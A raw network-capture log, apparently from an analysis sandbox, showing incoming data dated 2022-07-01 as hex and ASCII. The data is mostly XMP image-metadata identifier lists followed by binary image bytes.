d:4f8820eb-a19a-4dda-9219-58edf3e86a5c</rdf:li> <rdf:li>xmp.did:4f9dab66-059e-eb4c-8407-f82bdfcbc0a4</rdf:li> 
<rdf:li>xmp.did:4fb4174e-89dd-4cfa-b70b-87cc629
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2022-07-01 09:01:57 UTC 5691 IN Data Raw: 31 36 63 62 39 62 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 
65 36 62 37 32 66 2d 37 37 63 63 2d 35 62 34 39 2d 38 30 34 64 2d 30 39 31 30 32 64 36 66 64 30 31 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 33 36 63 36 36 65 2d 64 64 36 30 2d 34 31 34 66 
2d 61 39 32 30 2d 30 63 65 33 32 66 32 31 31 61 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 35 64 36 65 63 34 38 34 2d 30 33 39 33 2d 30 37 34 33 2d 38 61 38 64 2d 34 33 36 39 62 30 32 31 36 64 
37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 38 32 33 62 38 38 2d 38 37 
63 35 2d 34 37 64 33 2d 62 65 38 61 2d 66 34 31 64 63 32 63 66 37 63 36 
Data Ascii: 16cb9b8e</rdf:li> <rdf:li>xmp.did:5ce6b72f-77cc-5b49-804d-09102d6fd012</rdf:li> <rdf:li>xmp.did:5d36c66e-
dd60-414f-a920-0ce32f211a34</rdf:li> <rdf:li>xmp.did:5d6ec484-0393-0743-8a8d-4369b0216d71</rdf:li> <rdf:li>xmp.di
d:5d823b88-87c5-47d3-be8a-f41dc2cf7c6

2022-07-01 09:01:57 UTC 5707 IN Data Raw: 78 6d 70 2e 64 69 64 3a 36 45 46 38 45 33 41 30 39 45 32 30 36 38 31 31 41 45 35 36 43 30 39 31 35 42 33 
42 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 45 46 45 39 42 46 35 
44 34 32 30 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 31 41 33 37 31 44 37 39 31 45 45 36 31 31 42 44 38 38 42 44 38 31 43 42 30 38 
39 38 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 34 46 38 34 32 46 30 
39 32 31 36 38 31 31 41 46 46 44 44 33 32 32 36 30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 36 46 36 30 37 43 43 45 31 39 32 30 36 38 31 
Data Ascii: xmp.did:6EF8E3A09E206811AE56C0915B3BCD41</rdf:li> <rdf:li>xmp.did:6EFE9BF5D42068118C14A3
6E566E12DA</rdf:li> <rdf:li>xmp.did:6F1A371D791EE611BD88BD81CB08980D</rdf:li> <rdf:li>xmp.did:6F4F84
2F09216811AFFDD32260AB3BBC</rdf:li> <rdf:li>xmp.did:6F607CCE1920681

2022-07-01 09:01:57 UTC 5715 IN Data Raw: 70 2e 64 69 64 3a 37 34 43 39 46 38 36 33 35 38 37 39 45 34 31 31 42 41 37 42 46 44 34 37 36 35 30 35 38 
34 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 41 37 36 33 34 31 45 
30 43 45 34 31 31 39 37 46 32 38 33 44 45 41 39 46 42 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 37 34 46 31 35 36 45 41 31 42 32 33 36 38 31 31 41 35 35 46 43 37 34 43 33 35 43 39 37 31 
43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 31 34 66 33 37 2d 33 65 
62 36 2d 34 39 37 61 2d 38 61 34 32 2d 37 37 33 32 64 35 39 36 61 64 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 66 34 61 66 38 2d 62 37 35 32 
Data Ascii: p.did:74C9F8635879E411BA7BFD476505848B</rdf:li> <rdf:li>xmp.did:74CA76341E0CE41197F283DE
A9FBD9D1</rdf:li> <rdf:li>xmp.did:74F156EA1B236811A55FC74C35C971C2</rdf:li> <rdf:li>xmp.did:74a14f37-3eb6-
497a-8a42-7732d596adc3</rdf:li> <rdf:li>xmp.did:74af4af8-b752

2022-07-01 09:01:57 UTC 5731 IN Data Raw: 66 32 35 2d 63 38 34 30 2d 62 61 31 66 2d 61 66 38 35 65 35 32 35 30 66 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 63 61 65 39 35 2d 37 36 30 35 2d 61 61 34 63 2d 61 65 35 63 
2d 65 61 65 39 62 66 66 30 63 33 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
38 35 30 32 35 30 30 38 2d 37 39 30 37 2d 34 35 66 38 2d 39 32 63 38 2d 35 65 36 38 37 36 38 31 36 37 30 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 45 34 38 37 34 44 32 30 36 38 31 31 
41 37 42 41 41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 38 35 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 
Data Ascii: f25-c840-ba1f-af85e5250f31</rdf:li> <rdf:li>xmp.did:84fcae95-7605-aa4c-ae5c-eae9bff0c39d</rdf:li> <rdf:li>xm
p.did:85025008-7907-45f8-92c8-5e6876816709</rdf:li> <rdf:li>xmp.did:8502E4874D206811A7BAA9F948A39F42</rdf:li> 
<rdf:li>xmp.did:850B2DDEFD9DE111ADD29

2022-07-01 09:01:57 UTC 5747 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 33 34 41 33 35 32 44 32 30 36 38 
31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 39 32 31 38 36 45 43 38 35 32 30 36 45 37 31 31 41 37 41 46 45 32 37 42 45 37 34 31 38 38 46 45 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 31 45 45 30 31 44 44 46 41 45 34 31 
31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 39 32 32 33 32 35 32 37 30 39 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 
Data Ascii: :li> <rdf:li>xmp.did:92134A352D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:92186EC85
206E711A7AFE27BE74188FE</rdf:li> <rdf:li>xmp.did:9221EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>x
mp.did:92232527092068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:92

2022-07-01 09:01:57 UTC 5754 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 
30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 
41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 4
5 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 39 39 38 36 30 32 33 62 2d 39 61 62 65 2d 34 30 31 61 2d 62 32 63 34 2d 30 65 65 39 34 36 63 65 61 
65 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: /rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:997314E05D61E51
187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li> <rdf:li>xmp.did
:9986023b-9abe-401a-b2c4-0ee946ceae42</rdf:li> <rdf:li>xm

2022-07-01 09:01:57 UTC 5770 IN Data Raw: 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 41 43 42 33 38 30 30 32 41 34 35 44 45 33 31 31 38 31 45 36 45 42 46 38 33 38 32 41 38 41 46 45 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 36 39 31 36 36 33 45 32 30 36 
38 31 31 42 41 41 43 39 46 38 38 39 42 35 38 43 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 41 44 30 34 46 37 45 34 43 43 32 31 36 38 31 31 38 32 32 41 46 41 39 46 46 36 39 34 33 34 38 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 37 45 30 43 42 46 44 39 44 45 31 
31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 
Data Ascii: 1A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:ACB38002A45DE31181E6EBF8382A8AFE</rdf:li> <rd
f:li>xmp.did:ACB691663E206811BAAC9F889B58CD3E</rdf:li> <rdf:li>xmp.did:AD04F7E4CC216811822AFA9FF6943
483</rdf:li> <rdf:li>xmp.did:AD07E0CBFD9DE111ADD29B684E45E581</rdf:

2022-07-01 09:01:57 UTC 5786 IN Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 35 38 41 39 39 33 30 41 30 38 31 31 45 35 38 41 45 45 
44 31 36 39 33 36 32 45 33 32 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 
36 36 36 41 39 39 41 41 32 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 37 36 31 30 33 33 31 36 32 30 36 38 31 31 42 36 39 39 41 
31 38 45 37 30 33 34 41 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 
38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 39 32 42 41 38 44 
Data Ascii: rdf:li>xmp.did:C658A9930A0811E58AEED169362E32DF</rdf:li> <rdf:li>xmp.did:C666A99AA229681
1822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:C676103316206811B699A18E7034AD98</rdf:li> <rdf:li>xmp.did
:C682A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.did:C692BA8D
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2022-07-01 09:01:57 UTC 5794 IN Data Raw: 3e 78 6d 70 2e 64 69 64 3a 44 31 33 41 41 45 35 46 43 46 37 30 45 37 31 31 42 36 35 31 45 35 46 46 36 34 
45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 34 33 34 41 
30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 38 46 36 37 38 43 44 45 38 45 30 31 31 38 45 30 45 46 44 39 45 46 41 39 
31 35 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 36 38 36 31 39 45 
32 32 36 31 31 31 36 38 42 36 32 38 41 31 39 44 43 46 39 45 46 46 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 38 35 44 46 42 41 37 38 32 30 36 38 
Data Ascii: >xmp.did:D13AAE5FCF70E711B651E5FF64EE3282</rdf:li> <rdf:li>xmp.did:D15434A00920681180838
C305DCA9E89</rdf:li> <rdf:li>xmp.did:D158F678CDE8E0118E0EFD9EFA915D83</rdf:li> <rdf:li>xmp.did:D1686
19E22611168B628A19DCF9EFFD4</rdf:li> <rdf:li>xmp.did:D185DFBA782068

2022-07-01 09:01:57 UTC 5810 IN Data Raw: 64 3a 45 36 34 36 30 32 33 37 46 46 45 34 45 30 31 31 42 37 34 33 39 42 36 38 41 30 31 31 33 38 45 41 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 41 43 38 44 37 30 44 45 31 44 45 31 
31 39 33 43 37 38 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46 32 46 35 33 32 45 31 31 31 
39 35 39 35 41 31 44 44 35 31 36 42 30 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 45 36 36 38 37 39 31 37 31 31 32 30 36 38 31 31 38 32 32 41 45 
Data Ascii: d:E6460237FFE4E011B7439B68A01138EA</rdf:li> <rdf:li>xmp.did:E64AC8D70DE1DE1193C78A377F30
813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F2F532
E1119595A1DD516B0B08</rdf:li> <rdf:li>xmp.did:E668791711206811822AE

2022-07-01 09:01:57 UTC 5826 IN Data Raw: 37 35 30 35 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 
31 31 37 34 30 37 32 30 36 38 31 31 41 39 46 38 41 34 34 33 32 34 41 45 33 39 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 41 34 38 30 
39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 3
1 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 33 45 35 32 
30 38 41 42 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 7505E2</rdf:li> <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li> <rdf:li>xmp.did:F77F1174
07206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:F77F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>
xmp.did:F77F117407206811ADE593E5208AB01B</rdf:li> <rdf:li

2022-07-01 09:01:57 UTC 5830 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 
31 38 38 43 36 46 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 
38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 
Data Ascii: li> <rdf:li>xmp.did:F97F11740720681188C6FC4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905
CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F
1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97

2022-07-01 09:01:57 UTC 5846 IN Data Raw: 31 61 36 65 63 66 2d 35 64 63 63 2d 62 34 34 39 2d 38 34 35 39 2d 37 39 37 38 61 65 61 61 33 64 65 63 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 62 35 62 64 65 39 2d 36 33 62 65 2d 34 
36 65 38 2d 61 39 34 64 2d 63 63 65 31 64 32 66 35 32 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 
38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 
2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d 
Data Ascii: 1a6ecf-5dcc-b449-8459-7978aeaa3dec</rdf:li> <rdf:li>xmp.did:adb5bde9-63be-46e8-a94d-cce1d2f5222b</
rdf:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-
0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-

2022-07-01 09:01:57 UTC 5862 IN Data Raw: 66 36 30 61 31 30 61 2d 63 36 33 34 2d 34 35 66 34 2d 62 36 33 39 2d 34 33 33 35 66 65 38 39 61 31 61 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 35 31 38 32 37 2d 66 31 30 31 
2d 34 33 31 32 2d 39 64 35 30 2d 36 62 34 63 34 65 36 64 37 36 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 64 66 38 63 32 33 61 35 2d 39 33 32 37 2d 34 65 33 37 2d 38 35 39 65 2d 30 33 33 35 32 
32 63 31 32 64 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 
64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 
Data Ascii: f60a10a-c634-45f4-b639-4335fe89a1a8</rdf:li> <rdf:li>xmp.did:df851827-f101-4312-9d50-6b4c4e6d76ed<
/rdf:li> <rdf:li>xmp.did:df8c23a5-9327-4e37-859e-033522c12d34</rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-
d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80

2022-07-01 09:01:57 UTC 5870 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 
34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 
33 31 38 37 34 66 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 
36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 
66 36 2d 36 62 34 62 63 66 63 65 61 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: df:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did:f6c4aabd-195a-fa49-
b742-c08d31874f7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <rdf:li>xmp.did:f725e98f-
90d2-47d0-96f6-6b4bcfceaeeb</rdf:li> 

2022-07-01 09:01:57 UTC 5886 IN Data Raw: 94 ef 4a b6 fb ee ed 43 f7 0b 6e 9a e8 79 7a 6b bb bb c9 49 50 c4 f8 7c a1 b2 ca a7 83 f2 c6 66 40 f8 cc 10 e9 
12 0d 4a f2 11 19 24 7d d2 fe dd 2f 8e 43 1e 49 9f 98 ab 4b a8 ed 6b ea db e7 78 eb 45 cd 79 fe 37 06 14 92 79 24 1a 40 
30 81 a5 57 66 eb 7e 27 d7 a4 90 65 4f 9b 21 44 d1 14 3e 7e f5 c5 56 89 e5 60 cd 20 dd b6 21 be 1c 8a 9f c4 ff 00 c7 5c 
48 d2 c3 16 a6 b1 f3 18 a7 8c 26 31 44 23 cd ea f4 28 a9 02 c9 8c 15 88 24 8b 13 61 6b f6 bc 54 8f 27 e5 b7 0a 5f 1d c3 
b7 48 5e 8d 9e 9d 0f 85 cd 1b 04 1c 59 50 dd 4f 45 fa 29 7d 05 71 78 9b 2c 4e 58 f3 d4 96 65 db 4e 31 7e 13 22 21 1a 4a 
63 92 36 6d 41 85 91 bc 3f 0d 1e af b7 50 cd e4 f9 2c 1a 48 d4 32 a8 db 62 36 df c1 f7 b4 bf 33 07 e2 2c d8 e4 32 37 48 
1d 54 e3 1b 05 a0 4e 24 d2 17 d7 6b 0d bb 8a 3f 7e b9 
Data Ascii: JCnyzkIP|f@J$}/CIKkxEy7y$@0Wf~'eO!D>~V` !\H&1D#($akT'_H^YPOE)}qx,NXeN1~"!Jc6mA?P,H2b63,2
7HTN$k?~

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 5902 IN Data Raw: 8b 72 5f 15 3c 67 58 79 b4 62 36 06 2e 84 0b d8 4b fb 44 ed fd 7d ca 56 af 8f 0c 92 26 54 48 64 6d e7 79 17 
62 dc 6e 24 7d fd 72 7d ed 01 fe d1 06 50 33 c2 0c 0e 2c 57 41 23 67 8a aa f7 1f 86 39 76 91 cb 47 11 8f 04 79 b1 c6 4a 
5c 7d c0 24 a1 72 f7 da b2 26 fc 7c ff 00 65 ff 00 15 3b e6 e1 23 cf 80 cd 33 59 a4 75 21 2f ab 68 fb c4 fa 94 c2 1c 49 a5 
9a f8 aa 60 c5 55 d8 c4 db 59 fe 0f b6 df 7f 7f 33 d6 7f 2b 95 cb 83 8a b9 98 d9 25 8c 2e 18 2c 8b ac dd 8e 8d 7c 4f c3 a6 
99 cd cf d2 2d 03 85 34 4d 62 59 06 99 19 4f 71 23 9b 76 b2 5a 3e a6 09 13 21 3b d0 ef e6 9b df c3 fb cd fa b8 4e 7a 80 
ac ae bc b5 a0 8a ed 86 0c 8e 00 2b d2 07 7b c5 58 ce 71 cb 25 e4 f7 9f 1e f2 63 cb ab 65 bb 02 de d6 b4 1c a7 e6 38 25 
42 d9 61 f1 d5 36 28 91 4a af 83 da 76 29 a3 65 c1 
Data Ascii: r_<gXyb6.KD}V&THdmybn$}r}P3,WA#g9vGyJ\}$r&|e;#3Yu!/hI`UY3+%.,|O-4MbYOq#vZ>!;Nz+{Xq%ce8%B
a6(Jv)e

2022-07-01 09:01:57 UTC 5909 IN Data Raw: a9 3b df 8b 5a b9 79 96 36 1e 3c 7f 14 db e1 14 b0 17 3b 48 ed ad 65 cb 2b 88 23 c7 27 69 0b e5 c6 ae f8 b6 
e7 05 4b 69 7b ed a5 19 d8 32 73 36 55 9e 65 8e 04 b0 0a 06 95 2d ef 1a b4 1c bb 94 62 e0 a8 e1 28 2d e3 20 16 fb 54 
2a cb 14 a5 66 93 62 01 75 51 b4 dc f7 a4 af 64 73 74 82 26 6c 78 d9 82 82 4d 86 c1 f8 95 46 46 96 45 11 ad d5 47 2f 0a 
50 a3 63 b3 c7 e9 d4 be 60 e6 e7 02 35 8a 01 af 26 63 a6 34 e9 d5 f7 9a ff 00 0f 4d 2e e5 bf 2f 62 38 67 69 35 39 70 cf a4 
69 2c eb ad b8 70 ff 00 f9 34 4f 52 e4 6c 39 e6 73 f3 56 52 22 8d 78 51 5f bd f7 f2 d4 be 62 e6 83 00 31 83 66 44 82 c8 d6 
ec 27 bd 97 f7 29 91 06 89 84 09 f1 76 ca 7d 7f 2f f7 34 cc ca 8b 8f 1a 41 f3 6c d8 8d 22 e2 63 20 66 88 ef 48 4d da ff 00 
72 bf f5 3c fa cd c2 00 26 c0 85 14 6a 47 d2 c6 aa 
Data Ascii: ;Zy6<;He+#'iKi{2s6Ue-b(- T*fbuQdst&lxMFFEG/Pc`5&c4M./b8gi59pi,p4ORl9sVR"xQ_b1fD')v}/4Al"c fHMr<&jG

2022-07-01 09:01:57 UTC 5925 IN Data Raw: 19 78 96 58 63 77 98 b9 2e bb b1 ad b5 3f 09 25 5f d3 d1 ef 2a fc 0f 97 82 24 07 18 93 a9 b5 b8 71 ad 55 08 
ec 32 b5 3b e5 7c 9a 2e 51 19 82 1b bc 44 ea 02 4d ed 2d e6 35 1f 1c fc 59 1a 35 42 15 7a 58 f6 49 f0 d6 4c ff 00 89 12 
a1 23 b9 c4 b3 cb 3b f1 cb 9f bb c7 f8 7f bb a7 2a d8 92 49 3e af 2a d6 3f 98 72 bc de 57 91 26 7f 2c 08 a8 2e 5c 03 b1 c7 
ff 00 c3 d1 18 99 7f fe 32 29 79 49 59 23 b5 b1 c1 d3 a5 bf fc 2d be f3 cc fb ba d3 65 f0 b3 1b 44 ac a9 b3 ab 60 20 6f 37 
a7 5f 3e e7 39 f0 e3 65 99 b1 f5 45 97 13 e9 24 f6 19 74 f1 15 f7 77 fd 66 e2 76 29 f1 03 dd 31 44 1d 46 51 ee fb 8c 3a 2d 
ee d7 ed 3f af 50 da 1c f6 37 a3 cd f9 7d e5 6b b3 b9 54 d9 b0 3e 26 4b 2b 2b a5 b5 7b cd 43 b1 2f 75 37 2b 2c df 25 e4 
